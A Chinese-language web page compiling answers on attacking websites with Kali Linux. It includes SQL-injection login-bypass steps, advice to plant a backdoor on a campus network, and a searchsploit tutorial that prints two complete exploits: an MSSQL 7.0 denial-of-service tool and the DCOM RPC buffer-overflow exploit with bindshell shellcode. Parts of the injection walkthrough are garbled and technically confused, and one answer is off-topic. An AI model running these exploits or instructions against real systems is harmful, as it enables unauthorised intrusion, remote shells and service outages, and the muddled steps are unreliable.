本文目录一览：
- 1、如何学习入侵网站？
- 2、虚拟机内kali怎样攻击校园网
- 3、kali怎么攻击网站
- 4、如何通过kali linux入侵网站
- 5、什么是kali linux web 渗透测试
- 6、利用kali查找网站漏洞教学
如何学习入侵网站？
打开你要入侵的网站。在表单中任意提交错误的用户名/密码。（比如用户名：我，密码：' or 1=1 --）。这时对话框会跳出来提示用户名密码错误。从这里开始你要亲自动手了。
右键点击错误页面的任意位置，选择查看源代码。
这时你可以查看到HTML代码和JavaScript代码。找到一些类似_form action="...Login...."的代码。在登录代码前面，找到你现在所在的页面URL，然後复制下来。
然後删除服务器上验证你登录信息的JavaScript代码。（做这一步要小心，你是否能成功入侵此网站取决於你能否删除这个验证你账户信息的JavaScript代码。）
然後仔细查看找到代码_input name="password" type="password" - 用代码 "_type=text 「替换掉"_type=password"。 如果那儿限制的密码字符长度小於11，就改成11。
然後文件另存为到电脑的任意位置，文件後缀为.html。比如文件名chan.html到c盤。
双击打开刚保存在电脑上的的文件chan.html。你会看到与源文件相比有所不同。不要担心。
提交任意用户名（比如：hacker）和密码（比如：' or 1=1 --）。这时就会成功入侵了刚才那个网站并且成功进入到网站服务器上数据库里存放的账户。
虚拟机内kali怎样攻击校园网
首先你的kali得进入学校的局域网，然后用nmap 扫描存活的主机。
接着就是针对存在的服务漏洞进行攻击，获取权限后上传后门，以便维持访问。
然后就是。。。向你的舍友炫耀了。。。
最后就是。。。你好：我是查水表的，能开一下门吗？
kali怎么攻击网站
kali是靠指令攻击的，kali是一个系统，做黑客的基本都会把kali用的很熟练，另外，不叫攻击，叫审计，希望上面的回答可以帮助到你，谢谢
如何通过kali linux入侵网站
入侵检测系统的核心价值在于通过对全网信息的分析，了解信息系统的安全状况，进而指导信息系统安全建设目标以及安全策略的确立和调整，而入侵防御系统的核心价值在于安全策略的实施—对黑客行为的阻击;入侵检测系统需要部署在网络内部，监控范围可以覆盖整个子网，包括来自外部的数据以及内部终端之间传输的数据，入侵防御系统则必须部署在网络边界，抵御来自外部的入侵，对内部攻击行为无能为力。
什么是kali linux web 渗透测试
就是用Kali Linux上面的工具对某个Web网站进行渗透，这个渗透的过程是一个完整的入侵的过程，从而测试Web网站是否有被入侵的可能，并找出网站所存在的漏洞，最后可能还要向对方提交一份渗透测试报告。
利用kali查找网站漏洞教学
Searchsploit
本文来自
Searchsploit会通过本地的exploit-db， 查找软件漏洞信息
打开kali的命令行， 输入：
searchsploit
查看系统帮助
查找mssql的漏洞
如果要查找 mssql的漏洞， 命令如下， 会找到所有和mssql相关的漏洞信息， 后面还有相关的漏洞描述信息：
searchsploit mssql
要看相关的漏洞描述， 如果要看mysql7.0的远程DOS漏洞 ， 把漏洞描述后面的路径用编辑器打开即可：
leafpad /usr/share/exploitdb/platforms/./windows/dos/562.c
文本文件里面的内容为漏洞说明文件和漏洞利用文件：
/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop
the service
* "mssqlserver" the error noticed is different according to services'
pack but the result is always
* the same one.
* Exception Codes = c0000005
* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */ #include stdio.h
#include winsock.h
#pragma comment(lib,"ws2_32")
u_long resolv(char*);
void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s; int i; struct sockaddr_in vulh; char buffer[700000]; for(i=0;i700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16); if (argc!=3) {
printf(" MSSQL denial of service\n");
printf(" by securma massine\n");
printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
printf("Syntaxe: MSSQLdos ip port\n");
exit(1);
}
WSAStartup(0x101,WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZeroMemory(vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2])); if (connect(s,(struct sockaddr*)vulh,sizeof(vulh))==SOCKET_ERROR) {
printf("Impossible de se connecter...le port est en generale 1433...\n");
exit(1);
}
{
send(s,buffer,sizeof(buffer),0);
printf("Data envoyes...\n");
}
printf("\nattendez quelques secondes et verifiez que le serveur ne
repond plus.\n");
closesocket(s);
WSACleanup();
}
u_long resolv(char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) {
printf ("Erreur DNS : Impossible de résoudre l'adresse %s
!!!\n",host_name);
exit(1);
}
CopyMemory((char *)addr.s_addr,host_ent-h_addr,host_ent-h_length);
} return addr.s_addr;
} // milw0rm.com [2004-09-29] View Code
查找和window XP有关的漏洞
searchsploit /xp
查看漏洞利用文件：
leafpad /usr/share/exploitdb/platforms/./windows/remote/66.c
/*
DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code
Written by H D Moore hdm [at] metasploit.com
- Usage: ./dcom Target ID Target IP
- Targets:
- 0 Windows 2000 SP0 (english)
- 1 Windows 2000 SP1 (english)
- 2 Windows 2000 SP2 (english)
- 3 Windows 2000 SP3 (english)
- 4 Windows 2000 SP4 (english)
- 5 Windows XP SP0 (english)
- 6 Windows XP SP1 (english)
*/ #include stdio.h #include stdlib.h #include error.h #include sys/types.h #include sys/socket.h #include netinet/in.h #include arpa/inet.h #include unistd.h #include netdb.h #include fcntl.h #include unistd.h unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; unsigned char *targets [] =
{ "Windows 2000 SP0 (english)", "Windows 2000 SP1 (english)", "Windows 2000 SP2 (english)", "Windows 2000 SP3 (english)", "Windows 2000 SP4 (english)", "Windows XP SP0 (english)", "Windows XP SP1 (english)", NULL }; unsigned long offsets [] =
{ 0x77e81674, 0x77e829ec, 0x77e824b5, 0x77e8367a, 0x77f92a9b, 0x77e9afe3, 0x77e626ba,
}; unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff" /* return address */ "\xcc\xe0\xfd\x7f" /* primary thread data block */ "\xcc\xe0\xfd\x7f" /* primary thread data block */ /* port 4444 bindshell */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81" "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"; unsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; /* ripped from TESO code */ void shell (int sock) { int l; char buf[512];
fd_set rfds; while (1) {
FD_SET (0, rfds);
FD_SET (sock, rfds);
select (sock + 1, rfds, NULL, NULL, NULL); if (FD_ISSET (0, rfds)) {
l = read (0, buf, sizeof (buf)); if (l = 0) { printf("\n - Connection closed by local user\n"); exit (EXIT_FAILURE);
}
write (sock, buf, l);
} if (FD_ISSET (sock, rfds)) {
l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("\n - Connection closed by remote host.\n"); exit (EXIT_FAILURE);
} else if (l 0) { printf ("\n - Read failure\n"); exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
} int main(int argc, char **argv) { int sock; int len,len1; unsigned int target_id; unsigned long ret; struct sockaddr_in target_ip; unsigned short port = 135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; printf("---------------------------------------------------------\n"); printf("- Remote DCOM RPC Buffer Overflow Exploit\n"); printf("- Original code by FlashSky and Benjurry\n"); printf("- Rewritten by HDM hdm [at] metasploit.com\n"); if(argc3)
{ printf("- Usage: %s Target ID Target IP\n", argv[0]); printf("- Targets:\n"); for (len=0; targets[len] != NULL; len++)
{ printf("- %d\t%s\n", len, targets[len]);
} printf("\n"); exit(1);
} /* yeah, get over it :) */ target_id = atoi(argv[1]);
ret = offsets[target_id]; printf("- Using return address of 0x%.8x\n", ret); memcpy(sc+36, (unsigned char *) ret, 4);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(port); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket"); return(0);
} if(connect(sock,(struct sockaddr *)⌖_ip, sizeof(target_ip)) != 0)
{
perror("- Connect"); return(0);
}
len=sizeof(sc); memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
perror("- Send"); return(0);
}
len=recv(sock, buf1, 1000, 0); if (send(sock,buf2,len1,0)== -1)
{
perror("- Send"); return(0);
}
close(sock);
sleep(1);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(4444); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket"); return(0);
} if(connect(sock,(struct sockaddr *)⌖_ip, sizeof(target_ip)) != 0)
{ printf("- Exploit appeared to have failed.\n"); return(0);
} printf("- Dropping to System Shell...\n\n");
shell(sock); return(0);
} // milw0rm.com [2003-07-26] View Code
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